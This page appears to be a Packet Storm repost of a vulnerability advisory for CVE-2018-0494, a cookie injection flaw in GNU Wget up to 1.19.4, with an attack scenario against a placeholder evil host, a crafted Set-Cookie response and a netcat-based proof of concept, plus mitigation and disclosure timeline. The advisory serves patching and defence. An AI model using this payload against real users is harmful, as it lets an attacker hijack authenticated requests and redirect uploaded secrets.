exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

GNU Wget 1.19.4 Cookie Injection

GNU Wget 1.19.4 Cookie Injection
Posted May 7, 2018
Authored by Harry Sintonen

GNU Wget versions 1.7 through 1.19.4 suffer from a cookie injection vulnerability.

tags | exploit
advisories | CVE-2018-0494
SHA-256 | b72d6af0b5fe5fde5c7651980f119d80e8e2748eee305bde3f06e6b5d7c00dd2

GNU Wget 1.19.4 Cookie Injection

Change Mirror Download
GNU Wget Cookie Injection [CVE-2018-0494]
=========================================
The latest version of this advisory is available at:
https://sintonen.fi/advisories/gnu-wget-cookie-injection.txt


Overview
--------

GNU Wget is susceptible to a malicious web server injecting arbitrary cookies to
the cookie jar file.


Description
-----------

Normally a website should not be able to set cookies for other domains. Due to
insufficient input validation GNU Wget can be tricked into storing arbitrary cookie
values to the cookie jar file, bypassing this security restriction.


Impact
------

An external attacker is able to inject arbitrary cookie values cookie jar file,
adding new or replacing existing cookie values.


Details
-------

The discovered vulnerability, described in more detail below, enables the attack
described here in brief.

1. The attacker controlled web site sends a specially crafted Set-Cookie -header
to inject a new authentication cookie for example.com, replacing the existing
one. In order to be successful the victim must perform a wget operation on the
attacker controller site, for example:
wget --load-cookies jar.txt --save-cookies jar.txt https://evil.invalid
2. Victim uses wget to post some secret the the api.example.com:
wget --load-cookies jar.txt --post-file secret.txt https://example.com/upload

Since the attacker was able to replace the authentication cookie for example.com,
the secret.txt data will be posted to attacker's account instead to that of the
victim.


Vulnerabilities
---------------

1. CWE-20: Improper Input Validation in Set-Cookie parsing [CVE-2018-0494]

The cookie parsing implementation does too lax input validation when parsing the
Set-Cookie response from the server. Consider the following malicious response:

HTTP/1.1 200 OK
Content-Length: 0
Set-Cookie: foo="bar
.google.com TRUE / FALSE 1900000000 injected cookie
";expires=Thursday, 01-Jan-2032 08:00:00 GMT


When parsed by Wget and stored to a cookie jar file it will appear as:

# HTTP cookie file.
# Generated by Wget on 2018-04-27 23:28:21.
# Edit at your own risk.

127.0.0.1:7777 FALSE / FALSE 1956556800 foo "bar
.google.com TRUE / FALSE 1900000000 injected cookie
"

Since the Wget cookie jar parser skips any leading spaces, the .google.com line
will be picked up.

Note: The order in which the hosts/domains are stored in the cookie jar is derived
from the hashing function used to speed up the lookups. If an existing cookie is
to be replaced the server hostname used to serve the Set-Cookie will need to be
carefully chosen to result in hash entry below the targeted domain. If not done,
the original cookie will be used instead of the injected one.


Proof of Concept
----------------

1. Set up a minimal web server, good for 1 request:
$ echo -ne 'HTTP/1.1 200 OK\r\nContent-Length: 0\r\nSet-Cookie: foo="bar\r\n\x20.google.com\tTRUE\t/\tFALSE\t1900000000\tinjected\tcookie\r\n\t";expires=Thursday, 01-Jan-2032 08:00:00 GMT\r\n\r\n' | nc -v -l 7777

2. Fetch the evil url:
$ wget --save-cookies jar.txt http://127.0.0.1:7777/plop

3. Examine the resulting cookie jar file:
$ cat jar.txt


Vulnerable versions
-------------------

The following GNU Wget versions are confirmed vulnerable:

- 1.7 thru 1.19.4


Mitigation
----------

1. Upgrade to GNU Wget 1.19.5 or later, or to appropriate security updated package
in your distribution


Credits
-------

The vulnerability was discovered by Harry Sintonen / F-Secure Corporation.


Timeline
--------

2018.04.26 discovered & reported the vulnerability
2018.04.27 CVE-2018-0494 assigned
2018.05.06 GNU Wget 1.19.5 released with the fix
2018.05.06 public disclosure of the advisory


Login or Register to add favorites

File Archive:

January 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jan 1st
    0 Files
  • 2
    Jan 2nd
    13 Files
  • 3
    Jan 3rd
    5 Files
  • 4
    Jan 4th
    5 Files
  • 5
    Jan 5th
    9 Files
  • 6
    Jan 6th
    5 Files
  • 7
    Jan 7th
    0 Files
  • 8
    Jan 8th
    0 Files
  • 9
    Jan 9th
    18 Files
  • 10
    Jan 10th
    31 Files
  • 11
    Jan 11th
    30 Files
  • 12
    Jan 12th
    33 Files
  • 13
    Jan 13th
    25 Files
  • 14
    Jan 14th
    0 Files
  • 15
    Jan 15th
    0 Files
  • 16
    Jan 16th
    7 Files
  • 17
    Jan 17th
    25 Files
  • 18
    Jan 18th
    38 Files
  • 19
    Jan 19th
    6 Files
  • 20
    Jan 20th
    21 Files
  • 21
    Jan 21st
    0 Files
  • 22
    Jan 22nd
    0 Files
  • 23
    Jan 23rd
    24 Files
  • 24
    Jan 24th
    68 Files
  • 25
    Jan 25th
    22 Files
  • 26
    Jan 26th
    20 Files
  • 27
    Jan 27th
    17 Files
  • 28
    Jan 28th
    0 Files
  • 29
    Jan 29th
    0 Files
  • 30
    Jan 30th
    0 Files
  • 31
    Jan 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close